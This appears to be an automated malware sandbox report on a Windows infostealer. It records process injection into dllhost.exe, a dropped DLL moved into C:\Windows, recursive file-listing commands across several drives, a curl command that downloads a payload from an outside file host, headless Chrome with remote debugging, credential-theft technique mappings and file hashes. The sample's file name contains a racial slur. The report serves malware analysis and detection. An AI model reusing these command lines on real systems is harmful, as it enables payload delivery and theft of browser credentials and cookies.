dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe Token: SeShutdownPrivilege 2572 chrome.exe Token: SeCreatePagefilePrivilege 2572 chrome.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2572 chrome.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 5032 dllhost.exe 5892 EXCEL.EXE 5892 EXCEL.EXE 5892 EXCEL.EXE 5892 EXCEL.EXE 5892 EXCEL.EXE 5892 EXCEL.EXE 5892 EXCEL.EXE 5892 EXCEL.EXE 5892 EXCEL.EXE 5892 EXCEL.EXE 5892 EXCEL.EXE 5892 EXCEL.EXE - Suspicious use of WriteProcessMemory 29 IoCs
description pid Process procid_target PID 4880 wrote to memory of 5032 4880 cwelnigga.exe 79 PID 4880 wrote to memory of 5032 4880 cwelnigga.exe 79 PID 4880 wrote to memory of 5032 4880 cwelnigga.exe 79 PID 4880 wrote to memory of 5032 4880 cwelnigga.exe 79 PID 4880 wrote to memory of 5032 4880 cwelnigga.exe 79 PID 4880 wrote to memory of 5032 4880 cwelnigga.exe 79 PID 4880 wrote to memory of 5032 4880 cwelnigga.exe 79 PID 4880 wrote to memory of 5032 4880 cwelnigga.exe 79 PID 4880 wrote to memory of 5032 4880 cwelnigga.exe 79 PID 5032 wrote to memory of 2268 5032 dllhost.exe 83 PID 2268 wrote to memory of 4276 2268 cmd.exe 85 PID 5032 wrote to memory of 5340 5032 dllhost.exe 86 PID 5032 wrote to memory of 4392 5032 dllhost.exe 88 PID 4392 wrote to memory of 2792 4392 cmd.exe 90 PID 5032 wrote to memory of 2572 5032 dllhost.exe 91 PID 2572 wrote to memory of 1440 2572 chrome.exe 92 PID 2572 wrote to memory of 1264 2572 chrome.exe 93 PID 2572 wrote to memory of 1920 2572 chrome.exe 94 PID 2572 wrote to memory of 5416 2572 chrome.exe 95 PID 2572 wrote to memory of 3820 2572 chrome.exe 97 PID 2572 wrote to memory of 5228 2572 chrome.exe 98 PID 2572 wrote to memory of 912 2572 chrome.exe 100 PID 2572 wrote to memory of 1276 2572 chrome.exe 101 PID 2572 wrote to memory of 3624 2572 chrome.exe 103 PID 5032 wrote to memory of 964 5032 dllhost.exe 106 PID 2572 wrote to memory of 2996 2572 chrome.exe 108 PID 2572 wrote to memory of 4464 2572 chrome.exe 109 PID 2572 wrote to memory of 4476 2572 chrome.exe 110 PID 5032 wrote to memory of 4864 5032 dllhost.exe 111
Processes
-
C:\Users\Admin\AppData\Local\Temp\cwelnigga.exe"C:\Users\Admin\AppData\Local\Temp\cwelnigga.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4880 -
C:\Windows\System32\dllhost.exe"C:\Windows\System32\dllhost.exe"2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5032 -
C:\Windows\system32\cmd.exe/c cmd.exe /c "move "C:\ProgramData\bungee.boo" "C:\Windows\omadmapi.dll""3⤵
- Suspicious use of WriteProcessMemory
PID:2268 -
C:\Windows\system32\cmd.execmd.exe /c "move "C:\ProgramData\bungee.boo" "C:\Windows\omadmapi.dll""4⤵PID:4276
-
-
-
C:\Windows\system32\cmd.exe/c dir /a /s /b C:\*imgui_impl_win32.cpp C:\*.suo C:\*.exe C:\*.vcxproj C:\*.csproj > C:\ProgramData\CDat.bin36813⤵PID:5340
-
-
C:\Windows\system32\cmd.exe/c curl -o "C:\Users\Admin\AppData\Local\Temp\0d99c6f4-4d2b-4f5d-a356-8f4e28c7328b.tmp" "https://files.catbox.moe/lvh9j3.bin"3⤵
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Windows\system32\curl.execurl -o "C:\Users\Admin\AppData\Local\Temp\0d99c6f4-4d2b-4f5d-a356-8f4e28c7328b.tmp" "https://files.catbox.moe/lvh9j3.bin"4⤵PID:2792
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu --no-sandbox --disable-dev-shm-usage --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --remote-debugging-port=03⤵
- Uses browser remote debugging
- Loads dropped DLL
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2572 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffbd46ac728,0x7ffbd46ac734,0x7ffbd46ac7404⤵PID:1440
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1816,i,8553908046034583734,17188740410478410525,262144 --disable-features=PaintHolding --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=1812 /prefetch:24⤵PID:1264
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1816,i,8553908046034583734,17188740410478410525,262144 --disable-features=PaintHolding --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=1896 /prefetch:114⤵
- System Time Discovery
PID:1920
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1816,i,8553908046034583734,17188740410478410525,262144 --disable-features=PaintHolding --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2056 /prefetch:134⤵PID:5416
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=0 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1816,i,8553908046034583734,17188740410478410525,262144 --disable-features=PaintHolding --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2876 /prefetch:14⤵
- Uses browser remote debugging
PID:3820
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=0 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1816,i,8553908046034583734,17188740410478410525,262144 --disable-features=PaintHolding --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2940 /prefetch:14⤵
- Uses browser remote debugging
PID:5228
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=0 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1816,i,8553908046034583734,17188740410478410525,262144 --disable-features=PaintHolding --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3708 /prefetch:94⤵
- Uses browser remote debugging
PID:912
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=0 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=1816,i,8553908046034583734,17188740410478410525,262144 --disable-features=PaintHolding --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3980 /prefetch:14⤵
- Uses browser remote debugging
PID:1276
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=es --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1816,i,8553908046034583734,17188740410478410525,262144 --disable-features=PaintHolding --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4240 /prefetch:144⤵PID:3624
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=es --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1816,i,8553908046034583734,17188740410478410525,262144 --disable-features=PaintHolding --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5172 /prefetch:144⤵PID:2996
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=es --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1816,i,8553908046034583734,17188740410478410525,262144 --disable-features=PaintHolding --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5108 /prefetch:144⤵PID:4464
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=es --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1816,i,8553908046034583734,17188740410478410525,262144 --disable-features=PaintHolding --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5112 /prefetch:144⤵PID:4476
-
-
-
C:\Windows\system32\cmd.exe/c dir /a /s /b D:\*imgui_impl_win32.cpp D:\*.suo D:\*.exe D:\*.vcxproj D:\*.csproj > C:\ProgramData\DDat.bin36813⤵PID:964
-
-
C:\Windows\system32\cmd.exe/c dir /a /s /b F:\*imgui_impl_win32.cpp F:\*.suo F:\*.exe F:\*.vcxproj F:\*.csproj > C:\ProgramData\FDat.bin36813⤵PID:4864
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:1492
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:5480
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:6044
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c82192ee-6cb5-4bc0-9ef0-fb818773790a} -Embedding1⤵PID:836
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\Documents\BlockClose.xlsx"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5892
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Modify Authentication Process
1Steal Web Session Cookie
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\CDAT.bin3681
- Size 426KB
- SHA256 9e19044b38f96b986695b17228d0e4e5d10d597fd80a181e0c94e7401ade03e5
- MD5 6990078e77e8f451a08e29b86a94f5da
- SHA1 0b8217d93463f112e555c5e048463245b6e8e697
- SHA512 7bed22e4ca0c6e568c35f5c49fdebcc7852370ecfa32da9a04f0cde40dbec6940d53fbfccf77773fc89358080b8023b6cf69b4af88d4b54eaadf84b0d5f482f3
- SSDEEP 1536:oiE5E1eSxaxU3CR7T4kM16/2nO69ZyXZBDqacr3uyWE4FGGd+LOyNGFlM1n7LVML:oLVxcDuyB4FMVM3EQtCoMQ++5TY0f
- TLSH T1B9948135C53106F2B8721463B3AF9E32F03A12477E0649E362DDC981BC51997BB266F6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\bungee.boo
- Size 59KB
- SHA256 7c5d98cbbbbe0ab88895dfa4d53ce7f261fa46adbfa28793eb278e2bca70f668
- MD5 d9e2a2e6c173e51b220df0efffcf682f
- SHA1 22aa947906d46d4059ac3a3bab15ebbcbbad0274
- SHA512 37424fadc07ec6b01a2c6e0ab8667dc808b64083af45d7fd27b9f23ed10e40ed644868c6a178be67c93e281b27c0953f96f3ddef97048881db9dc7304b4a77fd
- SSDEEP 1536:ublGiwtR/dg1xbfDNJy9nSbRPXpnS+VTIO4bX01E2Ixo:uQiOR/dkxbDiSbRPXmbKE2Iy
- TLSH T1B753D635D8E9A03FC35A8874C9075D4ACE62FCCD8794B79BE7C18CDE1989B10AB2C645
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 649B
- SHA256 f7a4ef947119f62682768cde3897c3456e872c88d6b3fa0f3a0db968b8e24bd3
- MD5 9925cb379616fbef1ca647c5b99a7309
- SHA1 200b00517c99ee598896bb2f339c7b26ab89e2de
- SHA512 e736117c446230d655f73b1104516fe13580fd02ae17051e5dc3298b64ab44ec2a4273fc1e78eda02c0c0a51dce8a033d63cd30f793bf9cc4e0ec7c45dc16c2e
- TLSH T11EF0F4BAC921AC2708FD5B2970944B47F780131B3781995B3A3D924C8FF463B46A9C2C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 3KB
- SHA256 c093a08482273a9cd9f68e1e1a1764bd356ef652d8c468053a68cc6fd14eaeac
- MD5 b84a002553bc1b8de3e40b0548b2477b
- SHA1 23a227886d1b4b938f62717b6dc14f4e16c84098
- SHA512 ed58e8b9cd9e6c2ae44b03c6419b67c4dc2696103896ebc1598242c1fdbf3a84a31b6fcab0d280e9d228e38ed5b62d46f5e7e5e860aabd8ad4fd574df9a5cbad
- TLSH T1B8515AF7C3D88A6D841152E4AB256E2FCD290E14532C3D66C8D8AF4B53E2972D71139E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 f18d74138476ad37602fad2679ecd3ea0efe6af33cf926c9f4fa110faf382df6
- MD5 bf673b988e099b83396f8fe6dbf6cba4
- SHA1 1b3fb349fca235cea22d322bb6484766577e27b5
- SHA512 df2d36f809551f7434dc7a38fea28349704a7d0d7f4bfad092807ca75fe78d8526a81951b7608aaeae8c84ee4dd325d1fe6139af452d73648f67e9815cf7cc23
- SSDEEP 192:TR9g7s2Y5Dbv7lpupAPRp209fHsb+WNnAUdfHVXgkwoVyIsnAUgtaJ:TR9gP6jZgUXzRwjdCs8
- TLSH T13042C42EBD14643B5CCBD22AF926B743D7F5112525942E80EAFCCB5C28D7ACC2217427
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 17KB
- SHA256 5b0fea2b1952b848d6244f90bc0964f1386b71abf2371ccba36e75cf43be07a6
- MD5 a555b50fbd0ef0fde7ed8f40504a7475
- SHA1 75b868c8a070bf2b7245f11b83e7d5b5e1be1796
- SHA512 271a1de47e831cf46a264cafb577961f77e76f8c9b76e5fbeac05544d645f005c5913a94507c1737d799dac89eec5fbcbb211b2e9142445c995d44f2661ad46e
- SSDEEP 384:WQjb+7KxkXqKf/pUZNCgVLH2Hfgsl5g7pLILc2jQRXODaB+ErU39IH1Q3cKIaaK/:WUb+7KxkXqKf/pUZNCgVLH2HfgsLg7p2
- TLSH T16272E967B84C9A370F94D6CCD8267A4FADB5024B65DDC86483FA982503D4BCE114A2F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 120B
- SHA256 4aee823f458725c035315fb30f3040afc91ac6256d28647464602233f2817524
- MD5 5f4466a51e9f2f77c858c936c744748c
- SHA1 a49eff6a5b126b75dffa71eadc70e1b27b51e4a5
- SHA512 c841082d7db0dc1809a1569a722dd5ee419046fa6a745b926eee60bd6e8432a38a83c4b86d695eee0bab485706511a812be38c3d816d6df29c42efe363c4ce8a
- TLSH T1C6B01241C0019201C4A202F01543149C79145F10BA0B170183E06932D8292618028091
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5acf77.TMP
- Size 96B
- SHA256 a736304050f83d99891f3eac7b12b75acaa05e754b1e96e1f11dfccf77a71590
- MD5 1c1ae40deb5aa3ac121180647283976e
- SHA1 d8f5885ecd27bd89ccd5fe2e0b4b6d29f0ce329d
- SHA512 d28fd2e60960d6b435baf5c05a84deb7122a469231baf34264da6862dae64b2e6afbfc0504b5390c8da34b1f1326a13c938090b43a6a8535550722795185da0c
- TLSH T148B00265C102621BD1A303F03995D6EC7175EF65E6032312F3E12A6EDC25672652D260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 232KB
- SHA256 f546dc3d2e70ad8c836d8835445caf9c08f401448ffca1d327176c11e7b5494a
- MD5 6be88ef03d438bbe3f08b3b594bc6d36
- SHA1 a57f91d03684e640dae73862bfd862d4ad620ad7
- SHA512 48cae5327471644c4d30bf467c86f0fd7b11590385411960f5530004b9c2e4c4e830c374b7081ebe4dd4310722615c985a37fdb70debb90ce41dfbb508fc21f0
- SSDEEP 6144:B/m/kPmN86MiPEURFgI1PTDTf+zfAk3WbhT:gcONRsizgfaFT
- TLSH T111342332CD5F9E4B54746B31F1C863B79E76FBAB67F65E4542988EC21D9C9002304E24
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 231KB
- SHA256 90a705c5b747242823aa15f266f639f9ea1e8a96aac8e493659f4be38aea73dc
- MD5 db930bb8e9007edf8bf2c9ea0ead425f
- SHA1 9e2789216c7ab6c40ba6ee805f632e9c750dac23
- SHA512 c4eb33c66b75047f5b78cbedd46dd833270ead50e2e9c40f64af266d3600a5f02e56906da5b3bd75acf47548a6e00b12345fefd6cd96fa2cfec29635bd6fab9e
- SSDEEP 6144:K/m/kPmN86MiPEURFgI1PTDTf+zfAk3WbhT:ncONRsizgfaFT
- TLSH T129342312CD5F9E5B54786B72E5C8A3F79F76EBA927F61E8142888AD31D9D9002300F34
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 8e26b0232e00afebb0d2af73f6d84b352398a6a91884372ea3d77101518e765f
- MD5 2f9f0477507faff0d8ae71047d1d7e4a
- SHA1 b1d843d4d82f60ca8a2bd88f1a3ab195de777788
- SHA512 360f05748b4020f37a738e8a00514a5d87a9adbc34b8cb539e5ab92fecfd7c01decbc24fae203bbcb8a4c6c17162743d11f57d1cd41be714574cfac8cd44bc43
- SSDEEP 1536:n3ueL6TFpmkUjlTArhJ+vgVuFM8r51TRB+BsJYuRZa8pSgeDAkwdqf8Wg+95h6mq:eDFpmzNA9J+zfAsJDREge7oWg+95hy
- TLSH T196B30212CAAACE9BE4A45C79A4C413F3BEBE5F9523F1BA424166E4423DCE7042391770
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 231KB
- SHA256 446ae2683598008fb28dbfa296f9530f9e544fb3392e5f48485a79ba19774d00
- MD5 7e3bb9079fddf54b3a1b6b99dbc17d02
- SHA1 e902c5eb8b99214ab5cab4a3101fa2025431555d
- SHA512 d08bedbd0bc498790f2e1bef7e99d7906cf8c1a44c9c4ff056cbfa7e37b95872a9dfbb0c704ad3487d1a7dea3ffcdda5fb2558435f97eb5ccc879e3aa4234e0e
- SSDEEP 6144:X/m/kPmN86MiPEURFgI1PTDTf+zfAk3WbhT:OcONRsizgfaFT
- TLSH T10C342312CD5F9E5B54786B72E5C8A3F79F76EBA927F61E8142888AD31D9D9002300F34
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\CCCWF.tmp
- Size 1.0MB
- SHA256 14b7e805a4f95817f3f53b02f74df49709c4a6949db53f276d421646a6b0591f
- MD5 e1acabd0059752118b02b75a2703d882
- SHA1 820fb4e59534e8d0f46c0f5c8c24426c90dccb46
- SHA512 72c97dfb791b41aeff71346a4c3c2fd1a0dffbd4930e9a72f8291f216538711f47537edb7b195dec4079218220f71f50c544423a9128e8d860666b8cea2b1da8
- SSDEEP 24576:d3pHdi8S4/KQAEAigLFyJoL1wbuPSPBIk/w:d3pTS4yQ3OLFCE1zOzY
- TLSH T1D535AF5AF3B801B9D4ABD274C9575607DBF2B8461270D78F53E08B9A2F23B71162E321
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\crx
- Size 64B
- SHA256 bbfeb05e1567d10f38e693c245a25187c97f0bd4b794b58fb218c867bf7c1979
- MD5 368e7a10d2720ebc33fe8743c798ac14
- SHA1 18ba08b2a387562ade16d4ebcd5660865d83fd01
- SHA512 65719b6b53463ee28bbe07833a4eb9d2a2c636d1e61befc70d2b9968af5923337d16beae0dfd236a61925fc832f40ea7aca69aa902e0ea4aee4eec0caea51abb
- TLSH T167A00221255C0C9019970C868B7964C114BD158574F7946FEEE8A09354F6C41525DA39
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\dll_debug.txt
- Size 559B
- SHA256 d9be7a3d5844afcbc43449975d3d6e21f95e064e70b02b6df4a7cd909856da29
- MD5 9a0f2a287efc8da075597d9f63e97c8c
- SHA1 be7f53d1a7efc37165386a4cf8b8f6e1737db8c1
- SHA512 6b0502d3d9ee0dd6f0d4678754c453c099f07ba3d174c94c69339d83c3fa04ad4bffaf70b279bf1d24f19363302f56d155d8d490202a6fb92f1e66e6ba09c79c
- TLSH T1C2F08B02ADCF917A5D25D5EEF6A2A56E6C624D0E3F472751F790C04C508A83EA2C6393
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat
- Size 369B
- SHA256 cf423bf702a21430a7f1b6d49289e9c37f6f38e3146df5d9d5bce3d9e372765e
- MD5 b514a9f2b392b2f14fddb17df6a87e8c
- SHA1 38ee993a9d194c3fe7a79c02d31c999ee69f4753
- SHA512 fb92eed4c799ae6e85420b419b37c30885ad53f48d0a3c9d233f8f540bec7acf68a4e111081726821fa504b45258860270a4b2d771610fff586499c469db9f4f
- TLSH T134E01A235335C7F6C33D61F875B0DCF063F0585CE2A6513419C80DD10C1464334A7595
